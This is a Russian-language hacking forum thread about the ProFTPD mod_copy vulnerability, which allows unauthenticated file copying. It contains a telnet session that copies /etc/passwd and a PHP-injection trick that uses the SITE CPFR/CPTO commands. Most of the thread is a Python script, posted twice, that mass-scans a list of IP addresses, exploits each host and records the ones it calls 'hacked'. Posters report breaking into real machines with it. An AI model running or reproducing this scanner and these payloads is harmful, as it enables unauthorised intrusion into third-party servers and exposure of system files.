Старый 12.04.2015, 01:18   #1
z0mbie
 
Регистрация: 05.08.2010
Сообщений: 68
Репутация: 0
По умолчанию ProFTPD mod_copy

Код:
В ftp-сервере ProFTPD обнаружена опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд "site cpfr" и "site cpto". Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя. Уязвимость усугубляется отсутствием возможности отключить mod_copy через файл конфигурации и наличием путей эксплуатации уязвимости, которые могут быть использованы в атаке для организации выполнения кода на web-сервере.
   Trying 192.168.3.115...
   Connected to 192.168.3.115.
   Escape character is '^]'.
   220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115]
   site cpfr /etc/passwd
   350 File or directory exists, ready for destination name
   site cpto /tmp/passwd.copy
   250 Copy successful
Пруф

Собственно, кто пробовал? Ни одна машина не захотел копировать файл, пробовал через telnet

UPD: Из 10 машин, 3 подверглись уязвимости. ProFTPD версии 1.3.4a. Единственное, нужно знать путь куда будем копировать для дальнейшего просмотра phpinfo.

Последний раз редактировалось z0mbie; 11.05.2015 в 16:37..
z0mbie вне форума   Ответить с цитированием
Старый 13.04.2015, 12:06   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 949
Репутация: 351
По умолчанию

proftpd - это wuftpd наших дней.
SynQ вне форума   Ответить с цитированием
Старый 16.04.2015, 12:26   #3
sT1myL
 
Регистрация: 09.07.2014
Сообщений: 14
Репутация: 1
По умолчанию

ProFTPD 1.3.4b не работает . А жаль.
sT1myL вне форума   Ответить с цитированием
Старый 09.05.2015, 20:54   #4
z0mbie
 
Регистрация: 05.08.2010
Сообщений: 68
Репутация: 0
По умолчанию

Бывали случаи когда не удавалось скопировать ошибку с мини шеллом с помощью site cpfr /proc/self/fd/3
Помог этот способ
Код:
   SITE CPTO /tmp/...<?php phpinfo();?>
   SITE CPFR /tmp/...<?php phpinfo();?>

Последний раз редактировалось z0mbie; 11.05.2015 в 13:53..
z0mbie вне форума   Ответить с цитированием
Старый 11.05.2015, 11:39   #5
secov
 
Регистрация: 11.05.2015
Сообщений: 4
Репутация: 0
По умолчанию

Запускаю скрипт получаю ошибку
Код:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ip>1.py
Подключено!
╨Ъ╨╛╨╝╨░╨╜╨┤╨░ cpfr ╨╜╨╡ ╤А╨░╨▒╨╛╤В╨░╨╡╤В!
Traceback (most recent call last):
  File "C:\ip\1.py", line 32, in <module>
    if "250" in part3:
NameError: name 'part3' is not defined
В чем проблема?
secov вне форума   Ответить с цитированием
Старый 11.05.2015, 13:54   #6
z0mbie
 
Регистрация: 05.08.2010
Сообщений: 68
Репутация: 0
По умолчанию

Цитата:
Сообщение от secov Посмотреть сообщение
Запускаю скрипт получаю ошибку
Код:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ip>1.py
Подключено!
╨Ъ╨╛╨╝╨░╨╜╨┤╨░ cpfr ╨╜╨╡ ╤А╨░╨▒╨╛╤В╨░╨╡╤В!
Traceback (most recent call last):
  File "C:\ip\1.py", line 32, in <module>
    if "250" in part3:
NameError: name 'part3' is not defined
В чем проблема?
Проверки на ответ от сервера небыло
В питоне плохо шарю. Но полностью переделал скрипт:
Код:
ips=0
l=[]
f1 = open("c:/ip/good.txt", 'w')
with open('c:/ip/ip.txt') as f :
 l = f.read().splitlines()
def ping(host, port, results = None):
    try:
        socket.socket().connect((host, port))
        if results is not None:
            results.append(port)
        return True
    except:
        return False
def getip(gett):
    try:
        d=socket.gethostbyname(gett)
        return d
    except:
        return False
def connects(ippp):
    try:
       sock = socket.socket()
       sock.connect((ippp, 21))
       part1 = sock.recv(1024)
       sock.send('site cpfr /etc/passwd \n')
       part2 = sock.recv(1024)
       sock.send('site cpto /tmp/passwd.copy \n')
       part3 = sock.recv(1024)
       sock.close()
       return part3
    except:
       return False
while ips!=len(l):
 try:
     print ips
     get=getip(l[ips])
     if get != False:
      pin=ping(get,21)
      if pin != False:
       con=connects(get)
       if "250 Copy" in con:
        print('hacked '+l[ips])
        f1.write(l[ips] + '\n')
 except:
     print('no hacked')
 ips=ips+1
Иногда бывает зависает после 2к чеков.

Последний раз редактировалось z0mbie; 11.05.2015 в 13:57..
z0mbie вне форума   Ответить с цитированием
Старый 11.05.2015, 14:14   #7
secov
 
Регистрация: 11.05.2015
Сообщений: 4
Репутация: 0
По умолчанию

Цитата:
Сообщение от z0mbie Посмотреть сообщение
Проверки на ответ от сервера небыло
В питоне плохо шарю. Но полностью переделал скрипт:
Код:
ips=0
l=[]
f1 = open("c:/ip/good.txt", 'w')
with open('c:/ip/ip.txt') as f :
 l = f.read().splitlines()
def ping(host, port, results = None):
    try:
        socket.socket().connect((host, port))
        if results is not None:
            results.append(port)
        return True
    except:
        return False
def getip(gett):
    try:
        d=socket.gethostbyname(gett)
        return d
    except:
        return False
def connects(ippp):
    try:
       sock = socket.socket()
       sock.connect((ippp, 21))
       part1 = sock.recv(1024)
       sock.send('site cpfr /etc/passwd \n')
       part2 = sock.recv(1024)
       sock.send('site cpto /tmp/passwd.copy \n')
       part3 = sock.recv(1024)
       sock.close()
       return part3
    except:
       return False
while ips!=len(l):
 try:
     print ips
     get=getip(l[ips])
     if get != False:
      pin=ping(get,21)
      if pin != False:
       con=connects(get)
       if "250 Copy" in con:
        print('hacked '+l[ips])
        f1.write(l[ips] + '\n')
 except:
     print('no hacked')
 ips=ips+1
Иногда бывает зависает после 2к чеков.
Работает, благодарю

Последний раз редактировалось secov; 11.05.2015 в 14:16..
secov вне форума   Ответить с цитированием
Старый 11.05.2015, 14:43   #8
m0Hze
 
Аватар для m0Hze
 
Регистрация: 05.07.2010
Сообщений: 326
Репутация: 129
По умолчанию

Цитата:
Сообщение от z0mbie Посмотреть сообщение
Бывали случаи когда не удавалось скопировать ошибку с мини шеллом с помощью site cpfr /proc/self/fd/3
Помог этот способ
Код:
   SITE CPTO /tmp/...<?php phpinfo();?>
   SITE CPFR /tmp/...<?php phpinfo();?>
Не до конца понял, откуда же ты полчаешь в итоге <?php..?> ?
ТОже не выходит из /fd/3 взять ошибку.
__________________
multi-vpn.biz - Первый VPN на Эллиптических кривых со скоростью света.
m0Hze вне форума   Ответить с цитированием
Старый 11.05.2015, 16:31   #9
secov
 
Регистрация: 11.05.2015
Сообщений: 4
Репутация: 0
По умолчанию

Рабочий пример может кто-нибудь показать?
secov вне форума   Ответить с цитированием
Старый 11.05.2015, 16:32   #10
z0mbie
 
Регистрация: 05.08.2010
Сообщений: 68
Репутация: 0
По умолчанию

https://github.com/rapid7/metasploit-framework/pull/5224/files
Как пример pikabu
z0mbie вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot